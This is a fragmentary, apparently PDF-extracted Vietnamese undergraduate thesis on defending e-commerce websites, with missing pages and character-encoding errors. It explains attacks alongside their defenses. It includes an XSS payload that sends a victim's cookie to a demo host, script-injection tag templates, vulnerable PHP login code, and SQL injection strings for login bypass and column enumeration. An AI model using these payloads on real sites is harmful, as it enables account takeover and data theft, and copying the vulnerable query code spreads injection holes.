Khóa luận tốt nghiệp 2013
ĐẠI HỌC QUỐC GIA HÀ NỘI
TRƯỜNG ĐẠI HỌC CÔNG NGHỆ
KHÓA LUẬN TỐT NGHIỆP
(Hệ đại học chính quy)
Đề tài: Một số phương pháp bảo vệ websites trong thương mại điện tử
Giáo viên hướng dẫn: TS. Lê Phê Đô
Sinh viên: Nguyễn Thế Thạo
Hà Nội – 2013
Một số phương pháp bảo vệ websites trong thương mại điện tử
1
Khóa luận tốt nghiệp 2013
LỜI MỞ ĐẦU
Một số phương pháp bảo vệ websites trong thương mại điện tử
2
Khóa luận tốt nghiệp 2013
TÓM TẮT NỘI DUNG
Một số phương pháp bảo vệ websites trong thương mại điện tử
3
Khóa luận tốt nghiệp 2013
MỤC LỤC
Một số phương pháp bảo vệ websites trong thương mại điện tử
4
Khóa luận tốt nghiệp 2013
Chương 1: Tìm hiểu thương mại điện tử và đánh giá tình hình an
toàn an ninh mạng hiện nay.
I. Tìm hiểu về thương mại điện tử
1. Khái niệm:
Có nhiều khái niệm về thương mại điện tử (TMĐT), nhưng hiểu một cách tổng
quát, TMĐT là việc tiến hành một phần hay toàn bộ hoạt động thương mại bằng những
phương tiện điện tử. TMĐT vẫn mang bản chất như các hoạt động thương mại truyền
Thanh toán điện tử là hình thức thanh toán tiến hành trên môi trường internet,
thông qua hệ thống thanh toán điện tử người sử dụng mạng có thể tiến hành các hoạt
động thanh toán, chi trả, chuyển tiền,
Thanh toán điện tử được sử dụng khi chủ thể tiến hành mua hàng trên các siêu thị
ảo và thanh toán qua mạng. Để thực hiện việc thanh toán, thì hệ thống máy chủ của
siêu thị phải có được phầm mềm thanh toán trong website của mình.
5. Quảng cáo trên Internet:
Cũng như các hình thức quảng cáo khác, quảng cáo trên mạng nhằm cung cấp
thông tin đẩy nhanh tiến độ giao dịch giữa người bán và người mua. Tuy nhiên, quảng
cao trên mạng khác hẳn với quảng cáo trên các phương tiện thông tin đại chúng khác
vì nó giúp người tiêu dùng có thể tương tác với quảng cáo. Trên mạng mọi thứ đều có
thể đưa vào quảng cáo, từ bố trí sản phẩm tới thiết kế các ảnh nền phía sau nội dung
quảng cáo, làm cho logo hoặc bất cứ nhãn hiệu sản phẩm nào cũng trở nên nổi bật.
Quảng cáo trên Internet cũng tạo cơ hội cho các nhà quảng cáo nhắm chính xác vào
đối tượng khách hàng của mình và giúp họ quảng cáo với đúng sở thích và thị hiếu
người dùng. Ngoài ra, quảng cáo trên mạng còn là sự kết hợp của quảng cáo truyền
thống và tiếp thị trực tiếp. Đó là sự kết hợp giữa cung cấp nhãn hiệu, cung cấp thông
tin và trao đổi buôn bán ở cùng một nơi.
* Các hình thức quảng cáo trên Internet:
- Quảng cáo bằng các banner, đường link qua các website khác
- Quảng cáo qua E-mail
- Quảng cáo trên Website
II. Tình hình an toàn an ninh mạng hiện nay
Tại Việt Nam, nhiều doanh nghiệp phải đối mặt với việc hình thành và lan tràn
nhiều biến thể virut mới, tấn công trên mạng ngày càng nở rộ với mục đích vụ lợi cá
nhân cũng như mục đích kinh tế, thậm chí ảnh hưởng đến hoạt động kinh doanh và an
ninh quốc gia. Các website trong nước liên tiếp bị tấn công với mức độ phức tạp gia
tăng mà điển hình là việc báo điện tử Vietnamnet bị tấn công nhiều lần (tháng 11,
12/2010, 1/2011). Hình thức lừa đảo trực tuyến các email bằng tiếng việt đã bắt đầu
xuất hiện và phát tán rộng…đã đặt ra yêu cầu đối với sự nhận thức đúng đắn về mức
báo an ninh của các cơ quan, tổ chức có chức năng đảm bảo an ninh an toàn thông
tin quốc gia).
Trên thế giới, rất nhiều các websites thương mại nổi tiếng cũng bị tấn công không
chỉ 1 mà nhiều lần, ví dụ như website của Amazon.com tại Anh, Pháp, Đức và Tây
Ban Nha đã ngưng hoạt động trong khoảng nửa giờ đồng hồ vào tối 12/12/2010.
Vào khoảng cuối tháng 7, đầu tháng 8/2011, có khoảng hơn 6 triệu website bị tấn
công bởi loại malware có tên Willysy. Loại malware này đã khai thác một l€ hổng
của hệ điều hành mã nguồn mở osCommerce đang được sử dụng khá phổ biến với
các website thương mại điện tử trên thế giới. Trước đó, vụ tấn công đầu tiên của
malware Willysy được phát hiện lần đầu tiên xuất hiện ở phiên bản oSComerce 2.2.
Willysy đã khai thác một một l€ hổng trên phiên bản này sau đó cài mã độc chờ sẵn
các “nạn nhân”.
Những kẻ gian dùng các phương pháp tấn công các websites thương mại điện tử
nhằm mục đích chiếm đoạt tiền và tài sản của nạn nhân:
Một số phương pháp bảo vệ websites trong thương mại điện tử
7
Khóa luận tốt nghiệp 2013
Dùng thủ đoạn Phishing, trojan horse, spyware để lấy cắp địa chỉ email, thông tin
thẻ tín dụng và thông tin cá nhân như tên, địa chỉ,số điện thoại, số thẻ an ninh xã
hội, thông tin giấy phép lái xe…
Mua bán thông tin thẻ tín dụng trên mạng internet.
Trộm cắp tiền từ thẻ tín dụng và tài khoản, làm thẻ tín dụng giả rút tiền từ máy
ATM.
Rửa tiền: chuyển tiền từ tài khoản trộm cắp được sang tài khoản e-money tại e-
gold, e-passport.
Lừa đảo qua quảng cáo, bán hàng trực tuyến trên mạng internet, trong hoạt động
thương mại điện tử,trong mua bán ngoại tệ,cổ phiếu qua mạng, đánh bạc và rửa
tiền, thực hiện hành vi trốn thuế.
Một số phương pháp bảo vệ websites trong thương mại điện tử
8
- Thư mục như template/ có thể chứa các tệp tin với thông tin về các ứng dụng.
II.2. Các phòng tránh:
- Sử dụng danh sách kiểm soát truy cập để chặn những nguời dùng truy cập vào các
thư mục và tệp hệ thống không được phép.
- Bảo vệ bất kỳ tệp tin không liên quan đến người dùng, bằng cách đặt chúng trong
thư mục bên ngoài hệ thống file hoặc trong những nơi được bảo vệ đặc biệt như
WEB-INF/.
3. Khai thác khi đã biết những luồng bảo mật:
3.1. Nội dung:
Một số phương pháp bảo vệ websites trong thương mại điện tử
9
Khóa luận tốt nghiệp 2013
- Tất cả các phần mềm bao gồm cả hệ điều hành, ứng dụng máy chủ, và các
công cụ h€ trợ đều có l€i.
- Khi l€i đã được tìm thấy, cách bản sửa l€i thường được cung cấp để sửa chữa
chúng.
- Thời gian mà các quản trị viên hệ thống áp dụng bản sửa l€i bảo mật vào hệ
thống của mình thì những kẻ tấn có thể khai thác những l€ hổng đã được phát
hiện trong thời gian giữa bản l€i và bản được sủa của người quản trị.
Ta có thể hiểu đơn giản là phương pháp này dựa trên sự “nhanh tay nhanh
chân” của kẻ tấn công, nhanh chóng tấn công vào 1 l€i đã được công bố nhưng hệ
thống chưa kịp update các bản vá l€i.
3.2. Cách phòng tránh:
Thực hiện sửa l€i các l€ hổng đã phát hiện một cách nhanh chóng nhất có thể.
4. Vượt qua hạn chế trên các lựa chọn đầu vào:
4.1. Nội dung:
Một lớp tấn công khác là vượt qua hạn chế trên lựa chọn đầu vào:
- Thông tin người dùng nhập vào thường bị hạn chế theo những phạm vi để dễ kiểm
soát.
- Để cải thiện kinh nghiệm người sử dụng, mã của phía client sẽ thực hiện việc xác
<input type = “hidden” name = “price” value = “0.99”/>
</form>
Như vậy là giá trị của biến price chỉ còn là 0.99 khi đến máy chủ. (Nếu đây là
form xác nhận mua hàng thì cửa hàng sẽ bị l€ rất nhiều).
1.2. Cách phòng tránh:
- Đặt cho trường ẩn một cái tên khó hiểu.
- Sử dụng các giá trị được băm hay mã hóa.
- Nếu có thể thì không sử dụng trường ẩn.
- Kiểm tra giá trị của chúng khi đến server.
2. Tấn công dựa vào tham số CGI:
2.1. Nội dung:
Tham số CGI có thể nhìn thấy ở cuối của URL trong yêu cầu GET đằng sau dấu
“?”, m€i tham số là một cặp gồm tên-giá trị phân cách nhau bằng dấu “=”, các
tham số được phân cách nhau bởi dấu “&”. Nếu trong phương thức POST, ta có thể
tìm thấy ở phần chính của yêu cầu.
Ví dụ: http://thao-demo.com/search?f=t%E1%BA%A5n+c%C3%B4ng
Ta thấy trong chu€i trên có tham số f và có giá trị là t%E1%BA%A5n+c
%C3%B4ng
Ta có thể chỉnh sửa URL một cách thủ công bằng cách thay đổi giá trị của tham
số hoặc thêm vào các tham số khác.
Ví dụ: nếu ứng dụng web cho phép người dùng thay đổi mật khẩu và trang thay đổi
có URL truyền đi như sau:
http://thao-demo.com/changepasswd.php?u_name=thao&&new_passwd=abc
Trong URL trên có 2 tham số là:
Một số phương pháp bảo vệ websites trong thương mại điện tử
11
Khóa luận tốt nghiệp 2013
Tham số u_name là tên tài khoản người dùng, có giá trị là thao
Tham số new_passwd là mật khẩu mới của tài khoản thao, có giá trị là abc
Ta có thể thay đổi giá trị của new_passwd từ abc thành xyz chẳng hạn.
server. Khi ứng dụng cần kiểm tra thông tin của một người dùng, ứng dụng sẽ
dùng sessionID của người dùng để chỉ đến thông tin của người dùng đó trong
cache hay cơ sở dữ liệu.
- Xây dựng một cơ chế kiểm tra nội dung của cookie để tìm ra những giá trị
không hợp lệ từ đó biết được cookie đó là giả. Ví dụ là nếu biến id “người quản
trị” được được thiết lập là đúng trong cookie, nhưng giá trị của số thứ tự người
dùng trong cookie lại không giống như giá trị số thứ tự của “người quản trị”
được lưu trữ trên server.
- Phương pháp cuối cùng là mã hoá cookie. Có một số phương pháp mã hoá như
symmetric (dùng 1 khóa duy nhất cho cả mã hóa và giải mã) hay asymmetric
(mã hóa dùng 2 khóa riêng biệt, một khóa dùng chung cho mã hóa và một khóa
riêng để giải mã)
4. Tấn công bằng nhảy URL:
4.1. Nội dung:
Người dùng gõ vào một URL và nhảy tới trang đó, không tuân theo thứ tự các
trang thông thường của ứng dụng. Ví dụ: Người dùng có thể truy cập mà không cần
đăng nhập. Người dùng có thể mua hàng mà không cần trả tiền.
Ta có thể hiểu:
Khi có 1 trang mua bán hàng hóa http://thao-demo.muaban.com khi ta gõ địa
chỉ trên vào thanh url của trình duyệt, trình duyệt sẽ đưa ta đến file index.php tức là
mặc định sẽ là http://thao-demo.muaban.com/index.php . Ở đây chúng ta cần đăng
nhập rồi sau đó trình duyệt sẽ dẫn tới file trade.php để thực hiện giao dịch:
http://thao-demo.muaban.com/trade.php
Nhưng ta có thể gõ luôn http://thao-demo.muaban.com/trade.php để mua bán mà ko
cần đăng nhập.
Phương pháp này rất hiếm khi thành công (không bao giờ).
4.2. Cách phòng tránh:
- Hạn chế truy cập vào tất cả các URL không dành cho người sử dụng như
những trang dành cho admin
- Khóa sự truy cập vào những nơi không phải là trang web
- Ấn định phiên làm việc. (Session fixation)
Một số phương pháp bảo vệ websites trong thương mại điện tử
15
Khóa luận tốt nghiệp 2013
Hình 4 - Tấn công ấn định phiên làm việc
Trong tấn công ấn định phiên làm việc, kẻ tấn công ấn định sẵn SessionID cho nạn
nhân trước khi họ đăng nhập vào hệ thống. Sau đó kẻ tấn công sẽ sử dụng SessionID này
để tiếp tục phiên làm việc của nạn nhân.
5.2. Cách phòng tránh:
- Chống việc đăng nhập với một session ID có sẵn: Theo kiểu tấn công này, người
dùng đăng nhập vào hệ thống thông qua một session ID do hacker tạo sẵn thay vì
cho trình chủ tạo mới, do đó để có thể phòng chống, ứng dụng phải hủy bỏ session
ID được cung cấp bởi trình duyệt của người dùng khi đăng nhập và luôn tạo một
session ID mới khi người dùng đăng nhập thành công.
- Phòng chống những hacker bên ngoài hệ thống Việc tạo ứng dụng trên hệ thống
theo hướng giới hạn ( chỉ tạo một session ID mới cho người dùng sau khi họ thành
công ) sẽ khiến cho những hacker không phải là người dùng hợp lệ của hệ thống
không thể sử dụng phương pháp tấn công này.
- Giới hạn phạm vi ứng dụng của session ID:
Kết hợp Session ID với địa chỉ của trình duyệt.
Kết hợp Session ID với thông tin chứng thực được mã hoá SSL của người
dùng.
Một số phương pháp bảo vệ websites trong thương mại điện tử
16
Khóa luận tốt nghiệp 2013
Xóa bỏ session khi người dùng thoát khỏi hệ thống hay hết hiệu lực, có thể
thực hiện trên trình chủ hoặc trình duyệt (cookie)
Người sử dụng phải dùng chế độ thoát khỏi hệ thống để xóa bỏ session hiện
thời và có thể những session ID còn lưu lại trên hệ thống khi họ quên thoát ra
ngoài những lần trước
Ví dụ 2: Trường hợp mở các bức thư mà không hề cảnh giác với XSS. Chỉ cần với một
đoạn mã HTML gửi trong thư thì đã hoàn toàn bị mất cookie của mình.
Một số phương pháp bảo vệ websites trong thương mại điện tử
17
Khóa luận tốt nghiệp 2013
Khi nhận thư, nếu vô tình người dùng đưa con chuột qua bức ảnh gửi kèm thì cũng có
nghĩa là đã bị lấy mất cookie. Và với cookie lấy được, các hacker có thể dễ dàng login
hòm thư của người sử dụng này.
<form action="http://thao-demo.com/save.asp"
method="post" name="XSS">
<input type="hidden" name="cookie">
</form>
<img border="0" onmouseover ="window.document
.XSS.cookie.value = document.cookie; window.document
.XSS.submit();" src="anh.jpg">
Nhưng thực sự thì có rất nhiều cách để thêm đoạn mã JavaScript với mục đích tấn
công kiểu XSS. Hacker có thể dễ dàng lợi dụng Document Object Model (DOM) để thay
đổi ngữ cảnh và nội dung ứng dụng web. Một vài loại thẻ có thể chèn đoạn mã:
<link rel="stylesheet" type="text/css"
href="javascript:[code]" />
<script type="text/javascript">[code]</script>
<script>[code]</script>
<iframe src="vbscript:[code]" />
<img src="[code]" />
<img src="blah" onmouseover="[code]" />
<xml src="javascript:[code]" />
…
Phần in đậm là phần có thể đặt đoạn mã đánh cắp thông tin.
Nếu như các kỹ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của
Web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với Website ở
mà các thẻ script sẽ được thay thể bởi mã của nó. Việc mã hóa được khuyến khích sử
dụng vì nó không yêu cầu phải đưa ra quyết định những kí tự nào là hợp lệ hoặc
không hợp lệ. Tuy nhiên việc mã hóa tất cả dữ liệu có thể tốn tài nguyên và ảnh
hưởng đến khả năng thực thi của máy chủ.
Người dùng:
Người sử dụng cần cấu hình lại trình duyệt để được nhắc nhở có cho thực thi ngôn
ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà người dùng sẽ
quyết định.
Kỹ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉ
dừng lại ở mức độ tấn công trên máy nạn nhân. Vì thế, ngoài việc ứng dụng kiểm tra tính
đúng đắn của dữ liệu thì việc cần nhất là người dùng nên cảnh giác trước khi bước vào
một trang Web mới. Có thể nói, nhờ vào sự cảnh giác của người dùng thì 90% đã đạt
được sự bảo mật trong kỹ thuật này.
IV. Phòng chống chèn mã SQL – SQL Injection:
1. Khái niệm SQL Injection:
Trong chương này, chúng ta sẽ tìm hiểu kỹ càng hơn về phương pháp tấn công SQL
Injection và các phương pháp phòng tránh hữu hiệu.
SQL Injection (còn gọi là SQL Insertion) là một hình thức tấn công trong đó truy vấn
SQL của ứng dụng đã bị chèn thêm các tham số đầu vào “không an toàn” do người dùng
nhập vào, từ đó mã lệnh được gửi tới máy chủ database để phân tích cú pháp và thực thi.
Một số phương pháp bảo vệ websites trong thương mại điện tử
19
Khóa luận tốt nghiệp 2013
Hình thái chính của SQL Injection bao gồm việc chèn trực tiếp mã vào các tham số
mà sẽ được ghép vào các câu lệnh SQL (quá trình này gọi là sinh truy vấn SQL động) để
tạo thành truy vấn của ứng dụng gửi tới máy chủ database. Một cách tấn công khác ít trực
tiếp hơn, đó là chèn mã độc vào các xâu mà đích đến là việc lưu trữ trong các bảng hoặc
từ điển dữ liệu (metadata).
Khi các chu€i đó được ghép vào các câu lệnh SQL thì đoạn mã đó sẽ được chạy. Khi
ứng dụng Web thất bại trong việc lọc các tham số đầu vào (được dùng làm nguyên liệu
2. Cơ chế sinh truy vấn SQL bên trong ứng dụng:
Một số phương pháp bảo vệ websites trong thương mại điện tử
20
Khóa luận tốt nghiệp 2013
Tham số được nhập vào sẽ được sử dụng để xây dựng các truy vấn SQL nên nó sẽ cần
thỏa mãn các ràng buộc cú pháp với thành phần trước và sau trong truy vấn gốc.
Xét đoạn mã PHP xử lý đăng nhập sau:
<?php
$_username = $_POST['username'];
$_passwd= $_POST['passwd'];
$str = "select * from users where username =
‘$_username’ && password = ‘$_passwd’";
$query = mysql_query($str);
…
?>
Xâu truy vấn SQL được sinh ra trong trường hợp trên sử dụng trực tiếp giá trị input
được người dùng nhập vào, do đó mô hình xây dựng truy vấn dạng này được gọi chung là
xây dựng truy vấn động (dynamic query). Truy vấn thu được sẽ có dạng như sau:
SELECT * FROM users WHERE username=’$_username’ && password =
‘$_passwd’;
Trong đó hai giá trị $_username và $_passwd được nhập từ người dùng. Khi thực
hiện nhập giá trị username là admin’ or ‘1’=’1 truy vấn động thu được sẽ như sau:
SELECT * FROM users WHERE username=’admin’ or ‘1’=’1’ &&
password=’’;
Truy vấn này tuy có cụm luôn đúng, nhưng do toán tử AND có độ ưu tiên cao hơn OR
do đó truy vấn trên tương đương với:
SELECT * FROM users WHERE username=’admin’ AND password=’’;
Trường hợp này rõ ràng đăng nhập thất bại. Tiếp tục thử với việc thêm cả cụm ‘ or
‘1’=’1 vào cả password, ta có truy vấn được sinh ra:
SELECT * FROM users WHERE username=’admin’ or ‘1’=’1’ AND
Để tìm ra số cột của bảng hiện thời, có hai cách có thể sử dụng, sử dụng UNION hoặc
sử dụng ORDER BY. Giả sử truy vấn của ứng dụng xây dựng để trả về kết quả hiện thời
có dạng:
SELECT * FROM tbl_products WHERE id=4;
Mệnh đề ORDER BY được sử dụng để sắp xếp kết quả trả về bởi truy vấn theo cột
được chỉ định. Nếu cột đó không tồn tại,một thông báo l€i trả về. Giả sử ta muốn sắp xếp
theo cột thứ 2 ta chèn tham số ORDER BY 2 vào giá trị tham số product_id, ví dụ ta có
truy vấn kiểu sau:
SELECT * FROM tbl_products WHERE id=4 ORDER BY 2
Một số phương pháp bảo vệ websites trong thương mại điện tử
23
Khóa luận tốt nghiệp 2013
Hình 6 - Trang nạn nhân, order by 2
Thấy có l€i báo và thấy luôn cả câu truy vấn của mã nguồn: có 2 câu lệnh order by,
do đó cần chỉnh sửa câu lệnh của ta một chút:
SELECT * FROM tbl_products WHERE id=4 ORDER BY 2
Trong đó, ta thêm dấu - - để loại bỏ các câu truy vấn phía sau của mệnh đề.
Một số phương pháp bảo vệ websites trong thương mại điện tử
24
Khóa luận tốt nghiệp 2013
Hình 7 – trang nạn nhân với truy vấn order by 2
Không có l€i trả về, vậy bảng hiện tại có ít nhất 2 cột, ta tiếp tục tăng số cột dự đoán
lên. Chiến thuật đoán này có thể sử dụng tìm kiếm nhị phân, tức chúng ta xác định hai
mốc lớn nhất và bé nhất, từ đó tìm nhị phân giữa hai mốc này.
Ví dụ với mốc 6 cột, ta thấy trả về l€i :
Một số phương pháp bảo vệ websites trong thương mại điện tử
25